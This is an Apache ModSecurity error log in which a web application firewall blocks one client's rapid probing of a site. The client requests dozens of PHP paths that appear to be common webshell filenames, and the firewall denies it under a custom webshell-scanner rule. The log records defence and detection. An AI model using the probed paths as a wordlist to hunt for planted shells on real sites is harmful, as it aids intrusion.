[Fri Apr 17 05:46:59.622394 2026] [:error] [pid 9151:tid 9181] [client 20.91.209.193:15232] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update_with_pics.php"] [unique_id "aeFY08hTVuRPkua22vSdDwAAABQ"]
[Fri Apr 17 05:47:00.171888 2026] [:error] [pid 9151:tid 9162] [client 20.91.209.193:10930] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update_with_pics.php"] [unique_id "aeFY1MhTVuRPkua22vSdEQAAAAE"]
[Fri Apr 17 05:47:00.723556 2026] [:error] [pid 9151:tid 9173] [client 20.91.209.193:31992] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update_with_pics.php"] [unique_id "aeFY1MhTVuRPkua22vSdFQAAAAw"]
[Fri Apr 17 05:47:01.249417 2026] [:error] [pid 9151:tid 9182] [client 20.91.209.193:12930] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/date-object.php"] [unique_id "aeFY1chTVuRPkua22vSdGAAAABU"]
[Fri Apr 17 05:47:01.798522 2026] [:error] [pid 9152:tid 9213] [client 20.91.209.193:31970] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/date-object.php"] [unique_id "aeFY1ZJYca8I3TNCwIcQOgAAAFc"]
[Fri Apr 17 05:47:02.352199 2026] [:error] [pid 9263:tid 9284] [client 20.91.209.193:19166] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/date-object.php"] [unique_id "aeFY1hP68VyHNvj1e578PAAAANM"]
[Fri Apr 17 05:47:02.903814 2026] [:error] [pid 9153:tid 9241] [client 20.91.209.193:34346] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/date-object.php"] [unique_id "aeFY1uMHGxkTZX3c45cAEQAAAJc"]
[Fri Apr 17 05:47:03.468501 2026] [:error] [pid 9153:tid 9229] [client 20.91.209.193:10175] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w-1.php"] [unique_id "aeFY1-MHGxkTZX3c45cAFQAAAIs"]
[Fri Apr 17 05:47:03.996723 2026] [:error] [pid 9153:tid 9225] [client 20.91.209.193:10529] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w-1.php"] [unique_id "aeFY1-MHGxkTZX3c45cAFwAAAIc"]
[Fri Apr 17 05:47:04.557222 2026] [:error] [pid 9153:tid 9218] [client 20.91.209.193:10146] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w-1.php"] [unique_id "aeFY2OMHGxkTZX3c45cAGQAAAIA"]
[Fri Apr 17 05:47:05.131647 2026] [:error] [pid 51878:tid 51904] [client 20.91.209.193:12989] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w-1.php"] [unique_id "aeFY2UnQhUtMbw9EsgZuGwAAARg"]
[Fri Apr 17 05:47:05.679518 2026] [:error] [pid 9153:tid 9234] [client 20.91.209.193:32431] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "aeFY2eMHGxkTZX3c45cAHQAAAJA"]
[Fri Apr 17 05:47:06.206675 2026] [:error] [pid 9263:tid 9276] [client 20.91.209.193:32114] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "aeFY2hP68VyHNvj1e578RAAAAMs"]
[Fri Apr 17 05:47:06.732375 2026] [:error] [pid 9263:tid 9279] [client 20.91.209.193:13740] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "aeFY2hP68VyHNvj1e578SAAAAM4"]
[Fri Apr 17 05:47:07.281565 2026] [:error] [pid 9153:tid 9235] [client 20.91.209.193:32076] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "aeFY2-MHGxkTZX3c45cAIgAAAJE"]
[Fri Apr 17 05:47:07.856795 2026] [:error] [pid 9152:tid 9204] [client 20.91.209.193:31994] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bbh.php"] [unique_id "aeFY25JYca8I3TNCwIcQQAAAAE4"]
[Fri Apr 17 05:47:08.500371 2026] [:error] [pid 51878:tid 51900] [client 20.91.209.193:12962] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bbh.php"] [unique_id "aeFY3EnQhUtMbw9EsgZuIgAAARQ"]
[Fri Apr 17 05:47:09.080559 2026] [:error] [pid 51878:tid 51897] [client 20.91.209.193:19171] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bbh.php"] [unique_id "aeFY3UnQhUtMbw9EsgZuJAAAARE"]
[Fri Apr 17 05:47:09.698921 2026] [:error] [pid 9152:tid 9208] [client 20.91.209.193:10882] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bbh.php"] [unique_id "aeFY3ZJYca8I3TNCwIcQQgAAAFI"]
[Fri Apr 17 05:47:10.269684 2026] [:error] [pid 9152:tid 9205] [client 20.91.209.193:28938] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gool.php"] [unique_id "aeFY3pJYca8I3TNCwIcQRAAAAE8"]
[Fri Apr 17 05:47:10.834087 2026] [:error] [pid 51878:tid 51887] [client 20.91.209.193:21774] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gool.php"] [unique_id "aeFY3knQhUtMbw9EsgZuKgAAAQc"]
[Fri Apr 17 05:47:11.415568 2026] [:error] [pid 9263:tid 9283] [client 20.91.209.193:32154] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gool.php"] [unique_id "aeFY3xP68VyHNvj1e578UQAAANI"]
[Fri Apr 17 05:47:11.989643 2026] [:error] [pid 51878:tid 51893] [client 20.91.209.193:32400] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gool.php"] [unique_id "aeFY30nQhUtMbw9EsgZuLwAAAQ0"]
[Fri Apr 17 05:47:12.570867 2026] [:error] [pid 9153:tid 9224] [client 20.91.209.193:10215] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeFY4OMHGxkTZX3c45cAKAAAAIY"]
[Fri Apr 17 05:47:13.174890 2026] [:error] [pid 9152:tid 9197] [client 20.91.209.193:32413] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeFY4ZJYca8I3TNCwIcQRwAAAEc"]
[Fri Apr 17 05:47:13.761674 2026] [:error] [pid 9152:tid 9203] [client 20.91.209.193:2224] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeFY4ZJYca8I3TNCwIcQSAAAAE0"]
[Fri Apr 17 05:47:14.335365 2026] [:error] [pid 9152:tid 9211] [client 20.91.209.193:32176] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeFY4pJYca8I3TNCwIcQSwAAAFU"]
[Fri Apr 17 05:47:14.885789 2026] [:error] [pid 9152:tid 9199] [client 20.91.209.193:32149] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iiiihjwn.php"] [unique_id "aeFY4pJYca8I3TNCwIcQUAAAAEk"]
[Fri Apr 17 05:47:15.512868 2026] [:error] [pid 9152:tid 9196] [client 20.91.209.193:14109] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iiiihjwn.php"] [unique_id "aeFY45JYca8I3TNCwIcQUQAAAEY"]
[Fri Apr 17 05:47:15.827615 2026] [:error] [pid 9153:tid 9229] [client 13.239.53.175:42794] [client 13.239.53.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.239.53.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFY4-MHGxkTZX3c45cAKgAAAIs"]
[Fri Apr 17 05:47:16.095159 2026] [:error] [pid 9151:tid 9171] [client 20.91.209.193:32093] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iiiihjwn.php"] [unique_id "aeFY5MhTVuRPkua22vSdJwAAAAo"]
[Fri Apr 17 05:47:16.647572 2026] [:error] [pid 9152:tid 9205] [client 20.91.209.193:37950] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iiiihjwn.php"] [unique_id "aeFY5JJYca8I3TNCwIcQWQAAAE8"]
[Fri Apr 17 05:47:17.184336 2026] [:error] [pid 9152:tid 9207] [client 20.91.209.193:9608] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeFY5ZJYca8I3TNCwIcQWwAAAFE"]
[Fri Apr 17 05:47:17.734716 2026] [:error] [pid 9151:tid 9179] [client 20.91.209.193:12268] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeFY5chTVuRPkua22vSdKQAAABI"]
[Fri Apr 17 05:47:18.293490 2026] [:error] [pid 9152:tid 9190] [client 20.91.209.193:19176] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeFY5pJYca8I3TNCwIcQYwAAAEA"]
[Fri Apr 17 05:47:18.850617 2026] [:error] [pid 9152:tid 9196] [client 20.91.209.193:21808] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeFY5pJYca8I3TNCwIcQZgAAAEY"]
[Fri Apr 17 05:47:19.421805 2026] [:error] [pid 9151:tid 9167] [client 20.91.209.193:2706] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpputty.php"] [unique_id "aeFY58hTVuRPkua22vSdKwAAAAY"]
[Fri Apr 17 05:47:20.023409 2026] [:error] [pid 9151:tid 9164] [client 20.91.209.193:32105] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpputty.php"] [unique_id "aeFY6MhTVuRPkua22vSdLgAAAAM"]
[Fri Apr 17 05:47:20.572949 2026] [:error] [pid 9153:tid 9223] [client 20.91.209.193:11146] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpputty.php"] [unique_id "aeFY6OMHGxkTZX3c45cAKwAAAIU"]
[Fri Apr 17 05:47:21.100126 2026] [:error] [pid 51878:tid 51900] [client 20.91.209.193:15270] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpputty.php"] [unique_id "aeFY6UnQhUtMbw9EsgZuOgAAARQ"]
[Fri Apr 17 05:47:21.625859 2026] [:error] [pid 51878:tid 51895] [client 20.91.209.193:19181] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dodo.php"] [unique_id "aeFY6UnQhUtMbw9EsgZuPQAAAQ8"]
[Fri Apr 17 05:47:22.176041 2026] [:error] [pid 9153:tid 9234] [client 20.91.209.193:19092] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dodo.php"] [unique_id "aeFY6uMHGxkTZX3c45cALQAAAJA"]
[Fri Apr 17 05:47:22.773537 2026] [:error] [pid 9263:tid 9277] [client 20.91.209.193:2182] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dodo.php"] [unique_id "aeFY6hP68VyHNvj1e578WwAAAMw"]
[Fri Apr 17 05:47:23.322605 2026] [:error] [pid 9263:tid 9265] [client 20.91.209.193:17161] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dodo.php"] [unique_id "aeFY6xP68VyHNvj1e578XgAAAMA"]
[Fri Apr 17 05:47:23.878457 2026] [:error] [pid 51878:tid 51891] [client 20.91.209.193:20093] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-post-data.php"] [unique_id "aeFY60nQhUtMbw9EsgZuQwAAAQs"]
[Fri Apr 17 05:47:24.457591 2026] [:error] [pid 51878:tid 51880] [client 20.91.209.193:14895] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-post-data.php"] [unique_id "aeFY7EnQhUtMbw9EsgZuRgAAAQA"]
[Fri Apr 17 05:47:25.013955 2026] [:error] [pid 9263:tid 9278] [client 20.91.209.193:14904] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-post-data.php"] [unique_id "aeFY7RP68VyHNvj1e578YQAAAM0"]
[Fri Apr 17 05:47:25.574610 2026] [:error] [pid 51878:tid 51894] [client 20.91.209.193:10203] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-post-data.php"] [unique_id "aeFY7UnQhUtMbw9EsgZuSgAAAQ4"]
[Fri Apr 17 05:47:26.238433 2026] [:error] [pid 9151:tid 9163] [client 20.91.209.193:14852] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeFY7shTVuRPkua22vSdOwAAAAI"]
[Fri Apr 17 05:47:26.801557 2026] [:error] [pid 51878:tid 51884] [client 20.91.209.193:10213] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeFY7knQhUtMbw9EsgZuTgAAAQQ"]
[Fri Apr 17 05:47:27.335713 2026] [:error] [pid 9153:tid 9219] [client 20.91.209.193:10193] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeFY7-MHGxkTZX3c45cANgAAAIE"]
[Fri Apr 17 05:47:27.870289 2026] [:error] [pid 9153:tid 9221] [client 20.91.209.193:17998] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeFY7-MHGxkTZX3c45cAOAAAAIM"]
[Fri Apr 17 05:47:28.409553 2026] [:error] [pid 51878:tid 51902] [client 20.91.209.193:18033] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Marvins.php"] [unique_id "aeFY8EnQhUtMbw9EsgZuUgAAARY"]
[Fri Apr 17 05:47:28.949017 2026] [:error] [pid 51878:tid 51887] [client 20.91.209.193:20041] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Marvins.php"] [unique_id "aeFY8EnQhUtMbw9EsgZuVQAAAQc"]
[Fri Apr 17 05:47:29.476211 2026] [:error] [pid 51878:tid 51898] [client 20.91.209.193:20063] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Marvins.php"] [unique_id "aeFY8UnQhUtMbw9EsgZuWgAAARI"]
